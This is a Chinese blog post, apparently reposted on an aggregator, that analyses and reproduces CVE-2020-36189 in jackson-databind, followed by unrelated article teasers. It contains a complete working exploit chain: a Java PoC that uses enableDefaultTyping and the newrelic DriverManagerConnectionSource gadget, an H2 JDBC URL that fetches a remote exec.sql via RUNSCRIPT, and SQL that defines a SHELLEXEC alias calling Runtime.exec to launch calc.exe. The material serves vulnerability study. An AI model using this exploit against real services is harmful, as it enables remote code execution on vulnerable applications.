CVE-2020-36189 jackson-databind java反序列化漏洞

news2025/2/24 8:32:18

漏洞原理

jackson-databind是一套开源的java序列化与反序列化工具框架,可将java对象序列化为xml和json格式的字符串及提供对应的反序列化过程。由于其解析效率较高,目前是Spring MVC中内置使用的解析方式,该漏洞的触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名,而在使用Object、Map、List等对象时,可诱发反序列化漏洞,导致可执行任意命令。

jackson使用ObjectMapper作为转换的操作类,通过声明这个类来进行json的序列化与反序列化。

com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中实现了url的输入和调用,通过可控的url进行payload的打入,即可依靠ObjectMapper的反序列化漏洞实现SSRF和RCE。

如图是上述package的源码,在1处实现了对url的输入,在2处实现了调用,

在这里插入图片描述
所以本次漏洞利用的目标是通过反序列化json串,使项目执行DriverManager.getConnection(),构造参数实现远程执行命令
本次构建的目标是实现如下命令

DriverManager.getConnection(实现payload的数据库的url, username, password)

在这里插入图片描述

jbdc(java database connection)是一种java对数据库进行连接增删改查等操作的技术。
H2数据库是一个开源的内嵌式关系型数据库,此处使用了mem选项,数据直接存放在内存中。
TRACE_LEVEL_SYSTEM_OUT是某项设置,没有查到。
INIT=RUNSCRIPT FROM是在数据库连接时执行SQL语句。
在这里插入图片描述
上图是SQL语句形式的payload,即创建SHELLEXEC函数以执行。两组$$中间是作为引用将SHELLEXEC函数填写了java函数。

首先objectmapper.enableDefaultTyping()可以使mapper在读取时,识别除了自然类型(String, Int, Double等)之外的非常量类型,这个名字可以在json中写出,读取时便可以该类存储。
在这里插入图片描述
如图所示json字符串是[类名, {参数名:参数值,…,}]的形式,将对象的参数的类名打印,是json中的类名。

mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false)
参数设置,对象为空时不抛异常。

objectmapper.readvalue()将json串转化为了类对象,并将数值按参数填入。
objectmapper.writeValueAsString()再将对象转换为字符串。
在这里插入图片描述

那么为什么getConnection会执行又成了问题,源码太繁琐,工作量太大,换一个思路进行分析。
首先在userBase类里写下三个函数,分别是pubilic,private和CVE漏洞中本身的使用了java.sql中的Connection类的函数。
在这里插入图片描述
根据回显可以看到getConnection进行了执行,其余两项并没有

在这里插入图片描述

下载好h2数据库后,之前使用的payload也执行成功
在这里插入图片描述
但是如果直接赋值或是使用Class内部的setUsername方法均不会成功,因此推断是使用writeValueAsString序列化对象时会自动调用Connection方法。
在这里插入图片描述在jackson源码中进行了对类中方法的扫描
在这里插入图片描述
源码太过复杂,源码级别分析确实过于困难,只能得出在使用writeValueAsString方法时Connection会自动执行的结论
首先简化Class,并将setUsername注释,可以看见payload执行成功
在这里插入图片描述
将public改为private,payload执行失败

在这里插入图片描述
之后取消set方法的注释,payload执行成功
在这里插入图片描述

因此该漏洞有两个利用条件:
–目标类中需要存在Connection方法
–Connection方法中的DriverManager.getConnection()中的参数需要可控
以上思路存在于CVE-2020-36179一直到CVE-2020-36189

漏洞复现

1、开启MVN项目,填写pom.xml,下载依赖
在这里插入图片描述
2、填写payload
在这里插入图片描述在这里插入图片描述
3、将sql文件放到http服务上,执行payload使程序获取sql文件,通过反序列化使其执行sql文件内的命令,弹出计算器代表利用成功
在这里插入图片描述

附录

依赖项:

<dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.newrelic.agent.java/newrelic-agent -->
        <dependency>
            <groupId>com.newrelic.agent.java</groupId>
            <artifactId>newrelic-agent</artifactId>
            <version>4.9.0</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>1.4.199</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
</dependencies>

POC

public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\"," +
                " {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/exec.sql'\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);
    }
}

exec.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1088138.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JUC第二十八讲:JUC工具类: Semaphore详解

JUC工具类: Semaphore详解 本文是JUC第二十八讲&#xff0c;JUC工具类: Semaphore详解。Semaphore底层是基于AbstractQueuedSynchronizer来实现的。Semaphore称为计数信号量&#xff0c;它允许n个任务同时访问某个资源&#xff0c;可以将信号量看做是在向外分发使用资源的许可证…

智源发布最强开源可商用中英文语义向量模型 BGE,超越同类模型,解决大模型制约问题

0.介绍 语义向量模型(Embedding Model)已经被广泛应用于搜索、推荐、数据挖掘等重要领域。 在大模型时代,它更是用于解决幻觉问题、知识时效问题、超长文本问题等各种大模型本身制约或不足的必要技术。然而,当前中文世界的高质量语义向量模型仍比较稀缺,且很少开源。 为…

数字化教育的未来:数字孪生技术助力校园创新

随着科技的飞速发展&#xff0c;智慧校园成为教育领域的新宠。数字孪生技术&#xff0c;作为一项新兴技术&#xff0c;正日益深刻地影响着校园的运营和管理。它为学校提供了前所未有的工具和资源&#xff0c;使校园管理更加高效、智能化。本文将探讨数字孪生技术如何助力智慧校…

LeetCode 1488. 避免洪水泛滥【贪心,二分,有序集合】1973

本文属于「征服LeetCode」系列文章之一&#xff0c;这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁&#xff0c;本系列将至少持续到刷完所有无锁题之日为止&#xff1b;由于LeetCode还在不断地创建新题&#xff0c;本系列的终止日期可能是永远。在这一系列刷题文章…

nginx的重定向

nginx重定向--rewrite重写功能介绍 rewrite 的功能介绍 rewrite功能就是&#xff0c;使用nginx提供的全局变量或自己设置的变量&#xff0c;结合正则表达式和标记位实现URL重写以及重定向。 比如&#xff1a;更换域名后需要保持旧的域名能跳转到新的域名上、某网页发生改变需…

pytest中fixture的使用方法

一、pytest中的fixture是什么 为可靠的和可重复执行的测试提供固定的基线&#xff08;可以理解为测试的固定配置&#xff0c;使不同范围的测试都能够获得统一的配置&#xff09;&#xff0c;fixture提供了区别于传统单元测试&#xff08;setup/teardown&#xff09;风格的令人…

来自云仓酒庄品牌雷盛红酒分享为什么高海拔的酒价格更高?

为高海拔地区的葡萄园提供资源的成本也是一个需要考虑的关键因素&#xff0c;并且肯定会影响最终葡萄酒的价格。来自云仓酒庄品牌雷盛红酒分享虽然融雪在没有降雨的月份为自然灌溉系统提供水&#xff0c;但在世界上许多受保护的优质葡萄园地区&#xff0c;灌溉葡萄树通常是不允…

【Spring源码分析】Bean的元数据和一些Spring的工具

Bean的元数据和一些Spring工具 一、BeanDefinition1、认识 BeanDifinition2、AbstractBeanDefinition3、GenericBeanDefinition测试 二、BeanDefinition 注册器三、加载BeanDefinition四、包扫描过程分析包扫描过程总结 五、内省 API六、反射工具Bean 的创建批量构造Resolvable…

怎样理解伦敦金交易的点差

不管大家做的是什么投资品种&#xff0c;只要过程中有中间商提供了一定的服务&#xff0c;那么就需要支付一定的费用&#xff0c;这也是十分合理的事情。在伦敦金的市场上&#xff0c;交易平台主要通过点差的形式&#xff0c;向客户征收一定的投资服务费用。 伦敦金买卖过程中的…

.net wpf程序 移花接木

最近在研究C# .net桌面程序。非常有趣 软件是国外作者写的 公司要求修改翻译 从最初的开源变成闭源再到加壳. 一路让我这个小小的职员好蛋疼. 软件是VS2015 C# WPF 程序 在不脱壳的情况下 实现挂钩类托管函数 遍历WPF控件汉化 首先通过各种手段脱壳目标程序&#xff0c;哪怕是不…

搭建 Hadoop 生态集群大数据监控告警平台

目录 一、部署 prometheus 环境 1.1 下载安装包 1.2 解压安装 1.3 修改配置文件 1.3.1 hadoop-env.sh 1.3.2 prometheus_config.yml 1.3.3 zkServer.sh 1.3.4 prometheus_zookeeper.yaml 1.3.5 alertmanager.yml 1.3.6 prometheus.yml 1.3.7 config.yml 1.3.8 t…

群峰系统是什么,群峰系统源码,群峰系统2.0

群峰体系是什么&#xff1f;它与第三方的团购软件有何不同&#xff1f; 近来有不少做生活团购服务商&#xff0c;餐饮商家&#xff0c;团购合作伙伴的朋友&#xff0c;时常听到群丰体系&#xff0c;了解到这是一个官方平台。其实&#xff0c;群峰系统已经成为了群峰的一大助力&…

鲲山科技:引入和鲸 ModelWhale,实现量化策略的高效迭代

量化投资是数据科学在金融行业的应用。 2023 年&#xff0c;量化行业的超额收益开始收敛&#xff0c;量化私募如何形成自身核心竞争力&#xff1f; 和鲸拜访客户鲲山科技&#xff08;深圳&#xff09;&#xff0c;揭示其“弯道超车”的独家秘诀。 群体作战 年初至今&#xff…

【备忘录】小技巧,使用IDEA的模板功能快速开发新项目

很多时候我们为了测试某个功能&#xff0c;经常需要创建新的项目&#xff0c;使用spring.io或者阿里的start创建很方便&#xff0c;但是步骤还是相对繁琐的&#xff0c;IDEA提供了一个非常好用且强大的模板功能&#xff0c;让我们能快速创建项目 一、项目模板操作 IDEA版本202…

flutter 开发中的问题与技巧

一、概述 刚开始上手 flutter 开发的时候&#xff0c;总会遇到这样那样的小问题&#xff0c;而官方文档又没有明确说明不能这样使用&#xff0c;本文总结了一些开发中经常会遇到的一些问题和一些开发小技巧。 二、常见问题 1、Expanded 组件只能在 Row、Column、Flex 中使用 C…

修改http_charfinder.py使能在python311环境中运行

需要修改两个函数&#xff0c;第一个是init函数&#xff0c;修改如下&#xff1a; async def init(loop, address, port): # <1> # app web.Application(looploop) # <2> # app.router.add_route(GET, /, home) # <3> app web.Application(…

AVPro Movie Capture☀️三、Unity录屏:录制摄像机指定区域

文章目录 🟥 录屏效果展示🟨 插件使用方法1️⃣ 导入插件2️⃣ 测试3️⃣ 移植到你的项目🟥 录屏效果展示 本插件是博主基于 “AVPro Movie Capture” 自制插件,该插件实现了: 录制摄像机指定区域画面的功能只有开始录制和停止录制两个API,简单不复杂其余功能完全基于…

【交付高质量,用户高增长】-用户增长质量保证方法论 | 京东云技术团队

前言 俗话说&#xff0c;“测试是质量的守护者”&#xff0c;但单凭测试本身却远远不够。大多数情况下&#xff0c;测试像“一面镜子”&#xff0c;照出系统的面貌&#xff0c;给开发者提供修改代码的依据&#xff0c;这个“照镜子”的过程&#xff0c;就是质量评估的过程&…

架构案例2017(五十二)

第5题 阅读以下关于Web系统架构设计的叙述&#xff0c;在答题纸上回答问题1至问题3.【说明】某电子商务企业因发展良好&#xff0c;客户量逐步增大&#xff0c;企业业务不断扩充&#xff0c;导致其原有的B2C商品交易平台己不能满足现有业务需求。因此&#xff0c;该企业委托某…

Bootstrap-媒体类型

加上媒体查询之后&#xff0c;只有在特定的设备之下才能起作用&#xff01;&#xff01;&#xff01;